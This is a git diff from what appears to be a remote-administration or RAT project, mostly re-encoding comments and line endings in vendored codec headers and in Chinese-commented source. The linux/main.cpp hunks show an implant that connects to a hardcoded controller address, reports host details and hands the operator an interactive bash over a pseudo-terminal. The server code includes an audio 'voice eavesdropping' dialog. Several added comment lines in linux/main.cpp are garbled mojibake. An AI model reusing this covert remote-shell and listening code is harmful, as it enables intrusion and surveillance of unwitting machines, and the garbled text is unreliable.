source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/planar_functions.h b/compress/libyuv/libyuv/planar_functions.h index c261f6c..22f0183 100644 --- a/compress/libyuv/libyuv/planar_functions.h +++ b/compress/libyuv/libyuv/planar_functions.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/rotate.h b/compress/libyuv/libyuv/rotate.h index b9bcfd9..2e5b59a 100644 --- a/compress/libyuv/libyuv/rotate.h +++ b/compress/libyuv/libyuv/rotate.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/rotate_argb.h b/compress/libyuv/libyuv/rotate_argb.h index 1a097df..ebc30a9 100644 --- a/compress/libyuv/libyuv/rotate_argb.h +++ b/compress/libyuv/libyuv/rotate_argb.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2012 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/rotate_row.h b/compress/libyuv/libyuv/rotate_row.h index 9956a61..1fba6b5 100644 --- a/compress/libyuv/libyuv/rotate_row.h +++ b/compress/libyuv/libyuv/rotate_row.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2013 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/row.h b/compress/libyuv/libyuv/row.h index 3f7033b..99bf648 100644 --- a/compress/libyuv/libyuv/row.h +++ b/compress/libyuv/libyuv/row.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/row_sve.h b/compress/libyuv/libyuv/row_sve.h index 45a411d..473f7ad 100644 --- a/compress/libyuv/libyuv/row_sve.h +++ b/compress/libyuv/libyuv/row_sve.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2024 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/scale.h b/compress/libyuv/libyuv/scale.h index 8e95407..d22c854 100644 --- a/compress/libyuv/libyuv/scale.h +++ b/compress/libyuv/libyuv/scale.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/scale_argb.h b/compress/libyuv/libyuv/scale_argb.h index ea172cb..29f92be 100644 --- a/compress/libyuv/libyuv/scale_argb.h +++ b/compress/libyuv/libyuv/scale_argb.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2012 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/scale_rgb.h b/compress/libyuv/libyuv/scale_rgb.h index b91f41f..436fc75 100644 --- a/compress/libyuv/libyuv/scale_rgb.h +++ b/compress/libyuv/libyuv/scale_rgb.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2022 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/scale_row.h b/compress/libyuv/libyuv/scale_row.h index bb8e87b..e91f11b 100644 --- a/compress/libyuv/libyuv/scale_row.h +++ b/compress/libyuv/libyuv/scale_row.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2013 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/scale_uv.h b/compress/libyuv/libyuv/scale_uv.h index bbf2c78..7dc2e0f 100644 --- a/compress/libyuv/libyuv/scale_uv.h +++ b/compress/libyuv/libyuv/scale_uv.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2020 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/version.h b/compress/libyuv/libyuv/version.h index adf3e85..5f65bf0 100644 --- a/compress/libyuv/libyuv/version.h +++ b/compress/libyuv/libyuv/version.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2012 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/libyuv/libyuv/video_common.h b/compress/libyuv/libyuv/video_common.h index d15951b..db6c770 100644 --- a/compress/libyuv/libyuv/video_common.h +++ b/compress/libyuv/libyuv/video_common.h @@ -1,4 +1,4 @@ -/* +/* * Copyright 2011 The LibYuv Project Authors. All rights reserved. * * Use of this source code is governed by a BSD-style license diff --git a/compress/x264/x264.h b/compress/x264/x264.h index d013874..8f9879a 100644 --- a/compress/x264/x264.h +++ b/compress/x264/x264.h @@ -1,4 +1,4 @@ -/***************************************************************************** +/***************************************************************************** * x264.h: x264 public header ***************************************************************************** * Copyright (C) 2003-2024 x264 project diff --git a/compress/x264/x264_config.h b/compress/x264/x264_config.h index 279d9e1..a026417 100644 --- a/compress/x264/x264_config.h +++ b/compress/x264/x264_config.h @@ -1,4 +1,4 @@ -#define X264_BIT_DEPTH 8 +#define X264_BIT_DEPTH 8 #define X264_GPL 1 #define X264_INTERLACED 1 #define X264_CHROMA_FORMAT 0 diff --git a/compress/zlib/zconf.h b/compress/zlib/zconf.h index 85e356b..6df22e8 100644 --- a/compress/zlib/zconf.h +++ b/compress/zlib/zconf.h @@ -1,4 +1,4 @@ -/* zconf.h -- configuration of the zlib compression library +/* zconf.h -- configuration of the zlib compression library * Copyright (C) 1995-2024 Jean-loup Gailly, Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ diff --git a/compress/zlib/zlib.h b/compress/zlib/zlib.h index 51735fa..558d325 100644 --- a/compress/zlib/zlib.h +++ b/compress/zlib/zlib.h @@ -1,4 +1,4 @@ -/* zlib.h -- interface of the 'zlib' general purpose compression library +/* zlib.h -- interface of the 'zlib' general purpose compression library version 1.3.1, January 22nd, 2024 Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler diff --git a/compress/zstd/zdict.h b/compress/zstd/zdict.h index e6bc8d0..8f3fb8c 100644 --- a/compress/zstd/zdict.h +++ b/compress/zstd/zdict.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) Meta Platforms, Inc. and affiliates. * All rights reserved. * diff --git a/compress/zstd/zstd.h b/compress/zstd/zstd.h index f4bf209..c7a4694 100644 --- a/compress/zstd/zstd.h +++ b/compress/zstd/zstd.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) Meta Platforms, Inc. and affiliates. * All rights reserved. * diff --git a/compress/zstd/zstd_errors.h b/compress/zstd/zstd_errors.h index 48d72b3..b354d1e 100644 --- a/compress/zstd/zstd_errors.h +++ b/compress/zstd/zstd_errors.h @@ -1,4 +1,4 @@ -/* +/* * Copyright (c) Meta Platforms, Inc. and affiliates. * All rights reserved. * diff --git a/linux/main.cpp b/linux/main.cpp index b53cdf8..246fc5e 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -1,4 +1,4 @@ -#include "common/commands.h" +#include "common/commands.h" #include "client/IOCPClient.h" #include #include @@ -19,13 +19,13 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); -// 远程地址:当前为写死状态,如需调试,请按实际情况修改 +// 杩滅▼鍦板潃锛氬綋鍓嶄负鍐欐鐘舵€侊紝濡傞渶璋冭瘯锛岃鎸夊疄闄呮儏鍐典慨鏀? CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", "6543", CLIENT_TYPE_LINUX}; -// 全局状态 +// 鍏ㄥ眬鐘舵€? State g_bExit = S_CLIENT_NORMAL; -// 伪终端处理类:继承自IOCPManager. +// 浼粓绔鐞嗙被锛氱户鎵胯嚜IOCPManager. class PTYHandler : public IOCPManager { public: @@ -35,16 +35,16 @@ public: throw std::invalid_argument("IOCPClient pointer cannot be null"); } - // 创建伪终端 + // 鍒涘缓浼粓绔? if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) { throw std::runtime_error("Failed to create pseudo terminal"); } - // 设置伪终端为非阻塞模式 + // 璁剧疆浼粓绔负闈為樆濉炴ā寮? int flags = fcntl(m_master_fd, F_GETFL, 0); fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK); - // 启动 Shell 进程 + // 鍚姩 Shell 杩涚▼ startShell(); } @@ -56,7 +56,7 @@ public: close(m_slave_fd); } - // 启动读取线程 + // 鍚姩璇诲彇绾跨▼ void Start() { if (m_running) return; @@ -88,22 +88,22 @@ private: void startShell() { m_child_pid = fork(); - if (m_child_pid == 0) { // 子进程 - setsid(); // 创建新的会话 + if (m_child_pid == 0) { // 瀛愯繘绋? + setsid(); // 鍒涘缓鏂扮殑浼氳瘽 dup2(m_slave_fd, STDIN_FILENO); dup2(m_slave_fd, STDOUT_FILENO); dup2(m_slave_fd, STDERR_FILENO); close(m_master_fd); close(m_slave_fd); - // 关闭回显、禁用 ANSI 颜色、关闭 PS1 + // 鍏抽棴鍥炴樉銆佺鐢?ANSI 棰滆壊銆佸叧闂?PS1 const char* shell_cmd = - "stty -echo -icanon; " // 禁用回显和规范模式 - "export TERM=dumb; " // 设置终端类型为 dumb - "export LS_COLORS=''; " // 禁用颜色 - "export PS1='>'; " // 设置提示符 - //"clear; " // 清空终端 - "exec /bin/bash --norc --noprofile -i"; // 启动 Bash + "stty -echo -icanon; " // 绂佺敤鍥炴樉鍜岃鑼冩ā寮? + "export TERM=dumb; " // 璁剧疆缁堢绫诲瀷涓?dumb + "export LS_COLORS=''; " // 绂佺敤棰滆壊 + "export PS1='>'; " // 璁剧疆鎻愮ず绗? + //"clear; " // 娓呯┖缁堢 + "exec /bin/bash --norc --noprofile -i"; // 鍚姩 Bash execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr); exit(1); } @@ -171,7 +171,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) return TRUE; } -// 方法1: 解析 lscpu 命令(优先使用) +// 鏂规硶1: 瑙f瀽 lscpu 鍛戒护锛堜紭鍏堜娇鐢級 double parse_lscpu() { std::array buffer; @@ -183,7 +183,7 @@ double parse_lscpu() result += buffer.data(); } - // 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz") + // 鍖归厤 "Model name" 涓殑棰戠巼锛堝 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz"锛? std::regex model_regex("@ ([0-9.]+)GHz"); std::smatch match; if (std::regex_search(result, match, model_regex) && match.size() > 1) { @@ -192,7 +192,7 @@ double parse_lscpu() return -1; } -// 方法2: 解析 /proc/cpuinfo(备用) +// 鏂规硶2: 瑙f瀽 /proc/cpuinfo锛堝鐢級 double parse_cpuinfo() { std::ifstream cpuinfo("/proc/cpuinfo"); @@ -210,7 +210,7 @@ double parse_cpuinfo() return -1; } -// 一个基于Linux操作系统实现的受控程序例子: 当前只实现了注册、删除和终端功能. +// 涓€涓熀浜嶭inux鎿嶄綔绯荤粺瀹炵幇鐨勫彈鎺х▼搴忎緥瀛? 褰撳墠鍙疄鐜颁簡娉ㄥ唽銆佸垹闄ゅ拰缁堢鍔熻兘. int main() { char hostname[256]= {}; @@ -230,8 +230,8 @@ int main() strcpy(logInfo.szPCName, hostname); strcpy(logInfo.OsVerInfoEx, systemInfo.sysname); strcpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str()); - double freq = parse_lscpu(); // 优先使用 lscpu - if (freq < 0) freq = parse_cpuinfo(); // 回退到 /proc/cpuinfo + double freq = parse_lscpu(); // 浼樺厛浣跨敤 lscpu + if (freq < 0) freq = parse_cpuinfo(); // 鍥為€€鍒?/proc/cpuinfo logInfo.dwCPUMHz = freq > 0 ? static_cast(freq) : 0; logInfo.bWebCamIsExist = 0; strcpy_s(logInfo.szReserved, "LNX"); diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 807d487..9869a4c 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -1,4 +1,4 @@ -// AudioDlg.cpp : ʵļ +// AudioDlg.cpp : 实现文件 // #include "stdafx.h" @@ -7,7 +7,7 @@ #include "afxdialogex.h" -// CAudioDlg Ի +// CAudioDlg 对话框 IMPLEMENT_DYNAMIC(CAudioDlg, CDialog) @@ -42,7 +42,7 @@ BEGIN_MESSAGE_MAP(CAudioDlg, CDialog) END_MESSAGE_MAP() -// CAudioDlg Ϣ +// CAudioDlg 消息处理程序 BOOL CAudioDlg::OnInitDialog() @@ -52,13 +52,13 @@ BOOL CAudioDlg::OnInitDialog() SetIcon(m_hIcon,FALSE); CString strString; - strString.Format("%s - ", m_IPAddress); + strString.Format("%s - 语音监听", m_IPAddress); SetWindowText(strString); BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); - //߳ жCheckBox + //启动线程 判断CheckBox m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL); m_bThreadRun = m_hWorkThread ? TRUE : FALSE; @@ -66,7 +66,7 @@ BOOL CAudioDlg::OnInitDialog() GetDlgItem(IDC_CHECK)->EnableWindow(TRUE); return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } DWORD CAudioDlg::WorkThread(LPVOID lParam) @@ -79,10 +79,10 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam) continue; } DWORD dwBufferSize = 0; - LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); // + LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音 if (szBuffer != NULL && dwBufferSize > 0) - This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //ûϢͷ + This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头 } This->m_bThreadRun = FALSE; @@ -98,12 +98,12 @@ void CAudioDlg::OnReceiveComplete(void) switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_AUDIO_DATA: { Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); - m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //Ų + m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据 break; } default: - // ䷢쳣 + // 传输发生异常数据 break; } } @@ -111,7 +111,7 @@ void CAudioDlg::OnReceiveComplete(void) void CAudioDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -122,7 +122,7 @@ void CAudioDlg::OnClose() DialogBase::OnClose(); } -// ǷͱԶ +// 处理是否发送本地语音到远程 void CAudioDlg::OnBnClickedCheck() { UpdateData(true); diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h index 2a96a41..ec8004d 100644 --- a/server/2015Remote/AudioDlg.h +++ b/server/2015Remote/AudioDlg.h @@ -1,16 +1,16 @@ -#pragma once +#pragma once #include "IOCPServer.h" #include "../../client/Audio.h" -// CAudioDlg Ի +// CAudioDlg 对话框 class CAudioDlg : public DialogBase { DECLARE_DYNAMIC(CAudioDlg) public: - CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CAudioDlg(); DWORD m_nTotalRecvBytes; @@ -22,15 +22,15 @@ public: static DWORD WINAPI WorkThread(LPVOID lParam); void OnReceiveComplete(void); -// Ի +// 对话框数据 enum { IDD = IDD_DIALOG_AUDIO }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: - BOOL m_bSend; // ǷͱԶ + BOOL m_bSend; // 是否发送本地语音到远程 virtual BOOL OnInitDialog(); afx_msg void OnClose(); afx_msg void OnBnClickedCheck(); diff --git a/server/2015Remote/Bmp2Video.cpp b/server/2015Remote/Bmp2Video.cpp index b9dadb6..91457d0 100644 --- a/server/2015Remote/Bmp2Video.cpp +++ b/server/2015Remote/Bmp2Video.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "Bmp2Video.h" #define USE_JPEG 0 @@ -67,11 +67,11 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h) return ERR_NOT_SUPPORT; } - // ȷBITMAPINFOMJPEG + // 创建正确的BITMAPINFO用于MJPEG BITMAPINFO bmiFormat = *lpbmi; if (m_fccHandler == ENCODER_H264) { - // H.264ѹ + // 打开H.264压缩器 m_hic = ICOpen(ICTYPE_VIDEO, mmioFOURCC('X', '2', '6', '4'), ICMODE_COMPRESS); if (!m_hic) { AVIFileRelease(m_pfile); @@ -79,7 +79,7 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h) return ERR_NO_ENCODER; } - // ʽδѹ24λBMP + // 设置输入格式(未压缩的24位BMP) BITMAPINFOHEADER inputFormat = { 0 }; inputFormat.biSize = sizeof(BITMAPINFOHEADER); inputFormat.biWidth = m_width; @@ -89,11 +89,11 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h) inputFormat.biCompression = BI_RGB; inputFormat.biSizeImage = m_width * m_height * 3; - // ʽH.264ѹ + // 设置输出格式(H.264压缩) BITMAPINFOHEADER outputFormat = inputFormat; outputFormat.biCompression = mmioFOURCC('X', '2', '6', '4'); - // ѯѹܷʽ + // 查询压缩器能否处理这个格式 DWORD result = ICCompressQuery(m_hic, &inputFormat, &outputFormat); if (result != ICERR_OK) { ICClose(m_hic); @@ -104,7 +104,7 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h) return ERR_NO_ENCODER; } - // ʼѹ + // 开始压缩 result = ICCompressBegin(m_hic, &inputFormat, &outputFormat); if (result != ICERR_OK) { ICClose(m_hic); @@ -115,22 +115,22 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h) return ERR_NO_ENCODER; } - // + // 设置质量 m_quality = 7500; - // AVI + // AVI流配置 bmiFormat.bmiHeader.biCompression = mmioFOURCC('X', '2', '6', '4'); bmiFormat.bmiHeader.biBitCount = 24; bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3; m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage; } else if (m_fccHandler == ENCODER_MJPEG) { - // MJPEGҪ + // MJPEG需要特殊设置 bmiFormat.bmiHeader.biCompression = mmioFOURCC('M', 'J', 'P', 'G'); - bmiFormat.bmiHeader.biBitCount = 24; // MJPEG24λ - // ȷͼС + bmiFormat.bmiHeader.biBitCount = 24; // MJPEG解码后是24位 + // 计算正确的图像大小 bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3; - m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage * 2; // Ԥ㹻ռ - m_quality = 85; // Ĭ + m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage * 2; // 预留足够空间 + m_quality = 85; // 默认质量 } else { m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage; } @@ -163,7 +163,7 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h) } #if USE_JPEG -// ŻBMPJPEGת +// 优化的BMP到JPEG转换 bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned char** jpegData, unsigned long* jpegSize) { if (!lpBuffer || !jpegData || !jpegSize) { @@ -175,29 +175,29 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned cha return false; } - // ȷںΧ + // 确保质量在合理范围内 if (quality < 1) quality = 85; if (quality > 100) quality = 100; - int pitch = width * 3; // BGR24ʽÿֽ + int pitch = width * 3; // BGR24格式,每行字节数 - // ҪʼΪNULLTurboJPEGԼڴ + // 重要:初始化为NULL,让TurboJPEG自己分配内存 *jpegData = NULL; *jpegSize = 0; - // ȥTJFLAG_NOREALLOC־TurboJPEGԶڴ + // 去掉TJFLAG_NOREALLOC标志,让TurboJPEG自动分配内存 int tjError = tjCompress2( jpegCompressor, (unsigned char*)lpBuffer, width, - pitch, // ÿֽ + pitch, // 每行字节数 height, - TJPF_BGR, // BGRʽ - jpegData, // TurboJPEGԶڴ + TJPF_BGR, // BGR格式 + jpegData, // TurboJPEG会自动分配内存 jpegSize, - TJSAMP_422, // 4:2:2ɫӲ - quality, // ѹ - 0 // ʹ־ + TJSAMP_422, // 4:2:2色度子采样 + quality, // 压缩质量 + 0 // 不使用特殊标志 ); if (tjError != 0) { @@ -208,7 +208,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned cha tjDestroy(jpegCompressor); - // ֤ + // 验证输出 if (*jpegData == NULL || *jpegSize == 0) { Mprintf("JPEG compression produced no data\n"); return false; @@ -226,9 +226,9 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned cha using namespace Gdiplus; -// ==================== ==================== +// ==================== 辅助函数 ==================== -// ȡ JPEG CLSID +// 获取 JPEG 编码器的 CLSID int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) { UINT num = 0; @@ -254,7 +254,7 @@ int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) return -1; } -// ==================== ==================== +// ==================== 主函数 ==================== bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned char** jpegData, unsigned long* jpegSize) @@ -263,17 +263,17 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, return false; } - // DIB ֽ4ֽڶ룩 + // 计算 DIB 的行字节数(4字节对齐) int rowSize = ((width * 3 + 3) / 4) * 4; - // Bitmap 24λ BGR ʽ + // 创建 Bitmap 对象(24位 BGR 格式) Bitmap* bitmap = new Bitmap(width, height, PixelFormat24bppRGB); if (!bitmap || bitmap->GetLastStatus() != Ok) { if (bitmap) delete bitmap; return false; } - // Bitmap д + // 锁定 Bitmap 以写入数据 BitmapData bitmapData; Rect rect(0, 0, width, height); Status status = bitmap->LockBits(&rect, ImageLockModeWrite, @@ -284,12 +284,12 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, return false; } - // ݣע⣺DIB ǵײҪת + // 复制数据(注意:DIB 是底部到顶部,需要翻转) BYTE* srcData = (BYTE*)lpBuffer; BYTE* dstData = (BYTE*)bitmapData.Scan0; for (int y = 0; y < height; y++) { - // DIB ǴӵײʼģҪת + // DIB 是从底部开始的,所以需要翻转 BYTE* srcRow = srcData + (height - 1 - y) * rowSize; BYTE* dstRow = dstData + y * bitmapData.Stride; memcpy(dstRow, srcRow, width * 3); @@ -297,14 +297,14 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, bitmap->UnlockBits(&bitmapData); - // ȡ JPEG + // 获取 JPEG 编码器 CLSID jpegClsid; if (GetEncoderClsid(L"image/jpeg", &jpegClsid) < 0) { delete bitmap; return false; } - // JPEG + // 设置 JPEG 质量参数 EncoderParameters encoderParams; encoderParams.Count = 1; encoderParams.Parameter[0].Guid = EncoderQuality; @@ -314,7 +314,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, ULONG qualityValue = (ULONG)quality; encoderParams.Parameter[0].Value = &qualityValue; - // ڴڱ JPEG + // 创建内存流用于保存 JPEG IStream* stream = NULL; HRESULT hr = CreateStreamOnHGlobal(NULL, TRUE, &stream); if (FAILED(hr)) { @@ -322,7 +322,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, return false; } - // Ϊ JPEG + // 保存为 JPEG status = bitmap->Save(stream, &jpegClsid, &encoderParams); delete bitmap; @@ -331,7 +331,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, return false; } - // ȡ JPEG + // 获取 JPEG 数据 HGLOBAL hMem = NULL; hr = GetHGlobalFromStream(stream, &hMem); if (FAILED(hr)) { @@ -345,11 +345,11 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, return false; } - // + // 分配输出缓冲区 *jpegSize = (unsigned long)memSize; *jpegData = new unsigned char[*jpegSize]; - // + // 复制数据 void* pMem = GlobalLock(hMem); if (pMem) { memcpy(*jpegData, pMem, *jpegSize); @@ -365,7 +365,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, return true; } -// ==================== GDI+ ʼ/ ==================== +// ==================== GDI+ 初始化/清理 ==================== class GdiplusManager { @@ -395,23 +395,23 @@ public: } }; -// ȫֶԶʼ +// 全局对象,自动初始化和清理 static GdiplusManager g_gdiplusManager; #endif -// ȷ32λת24λתת +// 正确的32位转24位转换(含翻转) unsigned char* ConvertScreenshot32to24(unsigned char* p32bitBmp, int width, int height) { - // BMPʵдС4ֽڶ룩 + // 计算BMP的实际行大小(4字节对齐) int srcRowSize = ((width * 32 + 31) / 32) * 4; - int dstRowSize = width * 3; // Ŀǽյ24λ + int dstRowSize = width * 3; // 目标是紧凑的24位 unsigned char* p24bitBmp = (unsigned char*)malloc(dstRowSize * height); if (!p24bitBmp) return nullptr; for (int y = 0; y < height; y++) { - // BMPǴµϴ洢Ҫת + // BMP是从下到上存储,需要翻转 unsigned char* src = p32bitBmp + (height - 1 - y) * srcRowSize; unsigned char* dst = p24bitBmp + y * dstRowSize; @@ -419,25 +419,25 @@ unsigned char* ConvertScreenshot32to24(unsigned char* p32bitBmp, int width, int dst[x * 3 + 0] = src[x * 4 + 0]; // B dst[x * 3 + 1] = src[x * 4 + 1]; // G dst[x * 3 + 2] = src[x * 4 + 2]; // R - // Alphaͨ + // 忽略Alpha通道 } } return p24bitBmp; } -// 24λBMPתȥ룩 +// 24位BMP处理(含翻转和去对齐) unsigned char* Process24BitBmp(unsigned char* lpBuffer, int width, int height) { - // BMP 24λдС4ֽڶ룩 + // BMP 24位行大小(4字节对齐) int srcRowSize = ((width * 24 + 31) / 32) * 4; - int dstRowSize = width * 3; // ոʽ + int dstRowSize = width * 3; // 紧凑格式 unsigned char* processed = (unsigned char*)malloc(dstRowSize * height); if (!processed) return nullptr; for (int y = 0; y < height; y++) { - // תȥֽ + // 翻转并去除填充字节 unsigned char* src = lpBuffer + (height - 1 - y) * srcRowSize; unsigned char* dst = processed + y * dstRowSize; memcpy(dst, src, dstRowSize); @@ -475,7 +475,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) return false; } - // ȷĸʽͷ + // 创建正确的格式头 BITMAPINFOHEADER inputHeader = { 0 }; inputHeader.biSize = sizeof(BITMAPINFOHEADER); inputHeader.biWidth = m_width; @@ -488,7 +488,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) BITMAPINFOHEADER outputHeader = inputHeader; outputHeader.biCompression = mmioFOURCC('X', '2', '6', '4'); - // + // 分配输出缓冲区 DWORD maxCompressedSize = m_width * m_height * 3; unsigned char* compressedData = (unsigned char*)malloc(maxCompressedSize); if (!compressedData) { @@ -499,21 +499,21 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) DWORD flags = 0; - // ȷICCompress + // 正确调用ICCompress DWORD result = ICCompress( - m_hic, // ѹ - 0, // ־0=Զؼ֡ - &outputHeader, // ʽͷ - compressedData, // - &inputHeader, // ʽͷ - processedBuffer, // + m_hic, // 压缩器句柄 + 0, // 标志(0=自动决定关键帧) + &outputHeader, // 输出格式头 + compressedData, // 输出数据 + &inputHeader, // 输入格式头 + processedBuffer, // 输入数据 NULL, // ckid - &flags, // ־ - m_nFrames, // ֡ - 0, // С0=Զ - m_quality, // - NULL, // ǰһ֡ʽͷ - NULL // ǰһ֡ + &flags, // 输出标志 + m_nFrames, // 帧号 + 0, // 期望大小(0=自动) + m_quality, // 质量 + NULL, // 前一帧格式头 + NULL // 前一帧数据 ); if (result != ICERR_OK) { @@ -523,7 +523,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) return false; } - // ʵѹСoutputHeader.biSizeImage + // 实际压缩大小在outputHeader.biSizeImage中 writeData = compressedData; writeSize = outputHeader.biSizeImage; needFree = true; @@ -535,7 +535,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) case ENCODER_MJPEG: { unsigned char* processedBuffer = nullptr; - // ͬλ + // 处理不同位深度 if (m_bitCount == 32) { processedBuffer = ConvertScreenshot32to24(lpBuffer, m_width, m_height); } else if (m_bitCount == 24) { @@ -545,7 +545,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) if (!processedBuffer) { return false; } - // ѹΪJPEG + // 压缩为JPEG if (!BmpToJpeg(processedBuffer, m_width, m_height, m_quality, &writeData, &writeSize)) { free(processedBuffer); Mprintf("Failed to compress JPEG\n"); @@ -560,7 +560,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer) return false; } - // дAVI + // 写入AVI流 LONG bytesWritten = 0; LONG samplesWritten = 0; HRESULT hr = AVIStreamWrite(m_pavi, m_nFrames, 1, diff --git a/server/2015Remote/Bmp2Video.h b/server/2015Remote/Bmp2Video.h index e4e9991..17b79ab 100644 --- a/server/2015Remote/Bmp2Video.h +++ b/server/2015Remote/Bmp2Video.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #pragma comment(lib,"Vfw32.lib") @@ -10,13 +10,13 @@ enum FCCHandler { ENCODER_BMP = BI_RGB, ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'), - // װx264vfw: 